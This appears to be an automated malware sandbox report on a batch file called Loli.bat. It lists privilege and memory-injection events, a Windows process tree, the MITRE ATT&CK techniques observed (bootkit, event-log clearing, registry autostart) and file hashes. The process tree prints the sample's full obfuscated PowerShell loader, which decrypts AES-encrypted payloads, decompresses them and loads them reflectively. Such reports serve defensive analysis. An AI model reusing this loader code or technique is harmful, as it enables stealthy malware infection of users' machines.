Token: SeAssignPrimaryTokenPrivilege 2280 svchost.exe Token: SeIncreaseQuotaPrivilege 2280 svchost.exe Token: SeSecurityPrivilege 2280 svchost.exe Token: SeTakeOwnershipPrivilege 2280 svchost.exe Token: SeLoadDriverPrivilege 2280 svchost.exe Token: SeSystemtimePrivilege 2280 svchost.exe Token: SeBackupPrivilege 2280 svchost.exe Token: SeRestorePrivilege 2280 svchost.exe Token: SeShutdownPrivilege 2280 svchost.exe Token: SeSystemEnvironmentPrivilege 2280 svchost.exe Token: SeUndockPrivilege 2280 svchost.exe Token: SeManageVolumePrivilege 2280 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2280 svchost.exe Token: SeIncreaseQuotaPrivilege 2280 svchost.exe Token: SeSecurityPrivilege 2280 svchost.exe Token: SeTakeOwnershipPrivilege 2280 svchost.exe Token: SeLoadDriverPrivilege 2280 svchost.exe Token: SeSystemtimePrivilege 2280 svchost.exe Token: SeBackupPrivilege 2280 svchost.exe Token: SeRestorePrivilege 2280 svchost.exe Token: SeShutdownPrivilege 2280 svchost.exe Token: SeSystemEnvironmentPrivilege 2280 svchost.exe Token: SeUndockPrivilege 2280 svchost.exe Token: SeManageVolumePrivilege 2280 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2280 svchost.exe Token: SeIncreaseQuotaPrivilege 2280 svchost.exe Token: SeSecurityPrivilege 2280 svchost.exe Token: SeTakeOwnershipPrivilege 2280 svchost.exe Token: SeLoadDriverPrivilege 2280 svchost.exe Token: SeSystemtimePrivilege 2280 svchost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4172 wrote to memory of 4064 4172 cmd.exe 83 PID 4172 wrote to memory of 4064 4172 cmd.exe 83 PID 4172 wrote to memory of 2524 4172 cmd.exe 84 PID 4172 wrote to memory of 2524 4172 cmd.exe 84 PID 4172 wrote to memory of 4932 4172 cmd.exe 85 PID 4172 wrote to memory of 4932 4172 cmd.exe 85 PID 4172 wrote to memory of 3664 4172 cmd.exe 86 PID 4172 wrote to memory of 3664 4172 cmd.exe 86 PID 3664 wrote to memory of 1108 3664 powershell.exe 87 PID 3664 wrote to memory of 1108 3664 powershell.exe 87 PID 3664 wrote to memory of 1108 3664 powershell.exe 87 PID 3664 wrote to memory of 1108 3664 powershell.exe 87 PID 3664 wrote to memory of 1108 3664 powershell.exe 87 PID 3664 wrote to memory of 1108 3664 powershell.exe 87 PID 3664 wrote to memory of 1108 3664 powershell.exe 87 PID 3664 wrote to memory of 1108 3664 powershell.exe 87 PID 1108 wrote to memory of 616 1108 dllhost.exe 5 PID 1108 wrote to memory of 672 1108 dllhost.exe 7 PID 1108 wrote to memory of 956 1108 dllhost.exe 12 PID 1108 wrote to memory of 1016 1108 dllhost.exe 13 PID 672 wrote to memory of 2752 672 lsass.exe 49 PID 672 wrote to memory of 2752 672 lsass.exe 49 PID 1108 wrote to memory of 396 1108 dllhost.exe 14 PID 672 wrote to memory of 2752 672 lsass.exe 49 PID 1108 wrote to memory of 712 1108 dllhost.exe 15 PID 1108 wrote to memory of 1044 1108 dllhost.exe 17 PID 1108 wrote to memory of 1052 1108 dllhost.exe 18 PID 1108 wrote to memory of 1192 1108 dllhost.exe 19 PID 1108 wrote to memory of 1236 1108 dllhost.exe 20 PID 1108 wrote to memory of 1256 1108 dllhost.exe 21 PID 1108 wrote to memory of 1280 1108 dllhost.exe 22 PID 1108 wrote to memory of 1300 1108 dllhost.exe 23 PID 1108 wrote to memory of 1316 1108 dllhost.exe 24 PID 672 wrote to memory of 2752 672 lsass.exe 49 PID 1108 wrote to memory of 1496 1108 dllhost.exe 25 PID 1108 wrote to memory of 1532 1108 dllhost.exe 26 PID 672 wrote to memory of 2752 672 lsass.exe 49 PID 1108 wrote to memory of 1552 1108 dllhost.exe 27 PID 1552 wrote to memory of 4476 1552 svchost.exe 95 PID 1552 wrote to memory of 4476 1552 svchost.exe 95 PID 1108 wrote to memory of 4476 1108 dllhost.exe 95 PID 1108 wrote to memory of 1616 1108 dllhost.exe 28 PID 672 wrote to memory of 2752 672 lsass.exe 49 PID 1108 wrote to memory of 1628 1108 dllhost.exe 29 PID 1108 wrote to memory of 1740 1108 dllhost.exe 30 PID 1552 wrote to memory of 1792 1552 svchost.exe 96 PID 1552 wrote to memory of 1792 1552 svchost.exe 96 PID 1108 wrote to memory of 1792 1108 dllhost.exe 96 PID 1108 wrote to memory of 1780 1108 dllhost.exe 31 PID 672 wrote to memory of 2752 672 lsass.exe 49 PID 1108 wrote to memory of 1876 1108 dllhost.exe 32 PID 1108 wrote to memory of 1884 1108 dllhost.exe 33 PID 672 wrote to memory of 2752 672 lsass.exe 49 PID 1552 wrote to memory of 620 1552 svchost.exe 97 PID 1552 wrote to memory of 620 1552 svchost.exe 97 PID 1108 wrote to memory of 620 1108 dllhost.exe 97 PID 1108 wrote to memory of 1932 1108 dllhost.exe 34 PID 1108 wrote to memory of 1940 1108 dllhost.exe 35 PID 1108 wrote to memory of 1092 1108 dllhost.exe 36 PID 1552 wrote to memory of 2152 1552 svchost.exe 98 PID 1552 wrote to memory of 2152 1552 svchost.exe 98 PID 1108 wrote to memory of 2152 1108 dllhost.exe 98 PID 672 wrote to memory of 2752 672 lsass.exe 49 PID 1108 wrote to memory of 1812 1108 dllhost.exe 37 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1016
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1016 -s 39203⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:2840
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4cf4999d-5051-44ee-8b48-c4bf55cdf24d}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1108
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:396
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:712
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1044
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1052
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1192 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2740
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1236
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1280
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1300
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1496
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
- Suspicious use of WriteProcessMemory
PID:1552 -
C:\Windows\system32\sihost.exesihost.exe2⤵PID:1252
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4324
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:4476
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:1792
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:620
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2152
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1616
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1628
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1780
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1876
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1932
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1940
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1092
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1812
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2196
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2280
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2400
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2408
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2564
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2696
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2752
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2800
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2916
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:3064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3476
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3560 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4172 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3776
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C:\Windows\system32\fsutil.exefsutil fsinfo drives3⤵PID:4064
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C:\Windows\system32\findstr.exefindstr /i /c:"WDS100T2B0A" /c:"QEMU HARDDISK" /c:"DADY HARDDISK"3⤵PID:2524
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C:\Windows\system32\cmd.execmd.exe /c echo function OaEd($Lhlb){ Invoke-Expression -Debug -Verbose -WarningAction Inquire -InformationAction Ignore '$KNIa=[zYSzYyzYszYtzYezYmzY.zYSezYcuzYrzYizYtyzY.zYCzYrzYypzYtzYozYgrzYazYphzYyzY.zYAzYezYszY]:zY:zYCzYrezYazYtezY()zY;'.Replace('zY', ''); Invoke-Expression -WarningAction Inquire -Debug -Verbose '$KNIa.MLWoLWdLWeLW=LW[LWSLWyLWstLWemLW.LWSLWecLWuLWrLWiLWtyLW.LWCLWryLWpLWtoLWgLWrLWaLWpLWhLWy.LWCLWiLWphLWeLWrMLWodLWeLW]:LW:LWCBLWCLW;'.Replace('LW', ''); Invoke-Expression -WarningAction Inquire -Verbose '$KNIa.PHaaHadHadHaiHanHagHa=Ha[SHaysHatHaeHam.HaSHaeHacHaurHaiHatHay.HaCHaryHapHatHaoHagHarHaapHahHayHa.PHaaHaddHainHagHaMoHadHae]Ha:Ha:HaPHaKHaCSHa7;'.Replace('Ha', ''); Invoke-Expression -InformationAction Ignore '$KNIa.KxUexUyxU=xU[xUSxUyxUsxUtexUm.xUCxUoxUnvxUexUrxUtxU]:xU:xUFxUroxUmxUBaxUsxUexU6xU4xUSxUtrxUixUnxUg("FxUbxUbxU4xUmxUoxUUxUOxUGPxUwrxUfxUQxUh1xUrxUlxUKxUcCxUhxUoxUPLxU/xUZxxUnxUsxUMxUmxU4xU6exUixUVxUmVxUrxUjcxU4=xU");'.Replace('xU', ''); Invoke-Expression -Debug '$KNIa.IVBVVB=VB[VBSVByVBsVBtVBemVB.CVBoVBnVBveVBrVBtVB]VB::VBFVBrVBomVBBVBasVBeVB6VB4VBSVBtVBriVBnVBg("lVBlVBuVBFVB/VBpVBeVBMVB9IVBfDVBMVBVVB3oVBHVBUVB3VBC5VBgVB=VB=");'.Replace('VB', ''); $xPYT=$KNIa.CreateDecryptor(); $BQvO=$xPYT.TransformFinalBlock($Lhlb, 0, $Lhlb.Length); $xPYT.Dispose(); $KNIa.Dispose(); $BQvO;}function OkiP($Lhlb){ Invoke-Expression -InformationAction Ignore -Verbose '$ZKQY=Ncdecdwcd-cdOcdbcdjcdecdctcd Scdycdscdtecdmcd.cdIcdO.cdMcdecdmocdrcdyScdtcdrcdecdacdm(,$Lhlb);'.Replace('cd', ''); Invoke-Expression -InformationAction Ignore '$SIsz=Ncdecdwcd-cdOcdbcdjcdecdctcd Scdycdscdtecdmcd.cdIcdO.cdMcdecdmocdrcdyScdtcdrcdecdacdm;'.Replace('cd', ''); Invoke-Expression -Debug -InformationAction Ignore '$Cswx=Nbnebnwbn-bnObnbbnjbnebnctbn Sbnybnsbntebnmbn.bnIbnO.bnCbnobnmpbnrbnesbnsbnibnobnnbn.bnGZbnibnpbnStbnrbneabnm($ZKQY, [bnIbnObn.bnCbnobnmbnpbnrebnssbnibnobnn.bnCbnobnmbnprbnebnsbnsibnobnnMbnobndbnebn]bn:bn:Dbnebncbnombnpbnrebnssbn);'.Replace('bn', ''); $Cswx.CopyTo($SIsz); $Cswx.Dispose(); $ZKQY.Dispose(); $SIsz.Dispose(); $SIsz.ToArray();}function xNUW($Lhlb,$PBcK){ Invoke-Expression -WarningAction Inquire '$ibma=[WNSWNyWNsWNtWNeWNmWN.WNReWNflWNeWNcWNtiWNoWNnWN.WNAsWNsWNeWNmbWNlWNy]WN:WN:WNLWNoWNaWNd([byte[]]$Lhlb);'.Replace('WN', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire -Verbose -Debug '$mOyP=$ibma.EdXndXtdXrdXydXPdXodXidXntdX;'.Replace('dX', ''); Invoke-Expression -InformationAction Ignore -WarningAction Inquire '$mOyP.IFIIFnIFvIFoIFkIFeIF(IF$nIFulIFlIF, $PBcK);'.Replace('IF', '');}$apiD = 'C:\Users\Admin\AppData\Local\Temp\Loli.bat';$host.UI.RawUI.WindowTitle = $apiD;$fTnD=[System.IO.File]::ReadAllText($apiD).Split([Environment]::NewLine);foreach ($kbxa in $fTnD) { if ($kbxa.StartsWith('dzqCD')) { $XAms=$kbxa.Substring(5); break; }}$JuAS=[string[]]$XAms.Split('\');Invoke-Expression -InformationAction Ignore -Verbose -WarningAction Inquire '$wKg = OkiP (OaEd ([PdCPdoPdnPdvPdePdrPdtPd]:Pd:FPdrPdoPdmBPdaPdsPdePd64PdSPdtPdriPdnPdg($JuAS[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Pd', '');Invoke-Expression -InformationAction Ignore '$qzk = OkiP (OaEd ([PdCPdoPdnPdvPdePdrPdtPd]:Pd:FPdrPdoPdmBPdaPdsPdePd64PdSPdtPdriPdnPdg($JuAS[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Pd', '');Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$LwB = OkiP (OaEd ([PdCPdoPdnPdvPdePdrPdtPd]:Pd:FPdrPdoPdmBPdaPdsPdePd64PdSPdtPdriPdnPdg($JuAS[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Pd', '');xNUW $wKg $null;xNUW $qzk $null;xNUW $LwB (,[string[]] (''));3⤵PID:4932
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\Loli.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat4⤵PID:3288
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3696
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3872
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4048
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3620
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4644
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4804
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2096
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4056
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2476
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:3328
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:1340
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3008
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:3044
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:2064
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 9b3b7d35cb50fa0c5a433911bc37c656 iIVN1MQCLkqJQ1BWODj9CA.0.1.0.0.01⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:1480 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:2384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2812
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4128
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:4716
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4224
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Indicator Removal
1Clear Windows Event Logs
1Modify Registry
1Pre-OS Boot
1Bootkit
1Replay Monitor
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Downloads
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Filesize
34KB
MD5a0015e904746599c7125c92b4c76cde0
SHA1ea01a6a5aa82ebdc79411abbc7f81697356e9582
SHA2561494847d1f139a2afd61c7006380dac66834860aa2b752fa2d039b8409548dc3
SHA51221f7b1ce4e331f2b3dc4e4777d676da0c67ef627fed29a9386481c37f9892f4e3f1d46e75d5afc7934616ec8a7e1c07c650434206bcab755f045748179b38871
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Filesize
13KB
MD56d2c5920ee353e17a8476dda912fbcf0
SHA169f67a55f049a0a019ddc25e6abeb6eed0f44387
SHA256837526aae199af2063cf5a5d2dad6a31914a3694474c909f722e02fa6f8cbb97
SHA51201b05d57536417dfac7c3b835ff6d2a2b5d82827f0dad3be0f6f44b25f70e25f86b8330106c973222c19a9ec2d9dc58a875921ce73fe028f942adc0776324c8a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4